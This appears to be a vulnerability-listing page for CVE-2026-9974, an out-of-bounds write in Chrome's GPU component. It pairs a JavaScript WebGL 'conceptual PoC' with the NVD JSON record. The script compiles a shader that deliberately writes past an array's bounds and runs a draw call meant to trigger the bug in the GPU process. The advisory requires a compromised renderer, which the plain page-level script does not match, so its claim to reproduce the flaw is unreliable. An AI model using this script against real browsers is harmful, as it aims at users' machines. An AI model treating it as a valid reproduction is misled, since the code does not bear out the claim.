CVE-2026-9974

/* * Conceptual PoC for CVE-2026-9974 (GPU Out of Bounds Write) * This script attempts to trigger the vulnerability via WebGL. * Note: Actual exploitation requires specific memory layout control. */ function triggerVuln() { const canvas = document.createElement('canvas'); const gl = canvas.getContext('webgl2'); if (!gl) { console.log('[!] WebGL2 not supported'); return; } // Malicious vertex shader source designed to confuse GPU compiler const vsSource = ` #version 300 es layout(location=0) in vec4 position; void main() { // Attempt to trigger OOB access via loop unrolling or array indexing float arr[10]; for(int i=0; i<20; i++) { // Intentional OOB index arr[i] = float(i); } gl_Position = position; } `; const fsSource = ` #version 300 es precision highp float; out vec4 fragColor; void main() { fragColor = vec4(1.0, 0.0, 0.0, 1.0); } `; function createShader(gl, type, source) { const shader = gl.createShader(type); gl.shaderSource(shader, source); gl.compileShader(shader); if (!gl.getShaderParameter(shader, gl.COMPILE_STATUS)) { console.log('[!] Shader compile error:', gl.getShaderInfoLog(shader)); gl.deleteShader(shader); return null; } return shader; } const vertexShader = createShader(gl, gl.VERTEX_SHADER, vsSource); const fragmentShader = createShader(gl, gl.FRAGMENT_SHADER, fsSource); const program = gl.createProgram(); gl.attachShader(program, vertexShader); gl.attachShader(program, fragmentShader); gl.linkProgram(program); if (!gl.getProgramParameter(program, gl.LINK_STATUS)) { console.log('[!] Program link error:', gl.getProgramInfoLog(program)); return; } gl.useProgram(program); // Setup buffer with potentially malicious size const buffer = gl.createBuffer(); gl.bindBuffer(gl.ARRAY_BUFFER, buffer); gl.bufferData(gl.ARRAY_BUFFER, new Float32Array([0,0,0,0, 1,1,1,1]), gl.STATIC_DRAW); const positionLoc = gl.getAttribLocation(program, 'position'); gl.enableVertexAttribArray(positionLoc); gl.vertexAttribPointer(positionLoc, 4, gl.FLOAT, false, 0, 0); // Trigger draw call to execute vulnerable shader code in GPU process console.log('[*] Triggering GPU draw call...'); gl.drawArrays(gl.TRIANGLE_STRIP, 0, 4); } triggerVuln();

{"cve": {"id": "CVE-2026-9974", "sourceIdentifier": "[email protected]", "published": "2026-05-28T23:16:55.623", "lastModified": "2026-05-29T16:16:39.487", "vulnStatus": "Undergoing Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "Out of bounds write in GPU in Google Chrome prior to 148.0.7778.216 allowed a remote attacker who had compromised the renderer process to potentially perform a sandbox escape via a crafted HTML page. (Chromium security severity: High)"}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H", "baseScore": 8.3, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.6, "impactScore": 6.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-787"}]}], "references": [{"url": "https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop_0877304591.html", "source": "[email protected]"}, {"url": "https://issues.chromium.org/issues/511710468", "source": "[email protected]"}]}}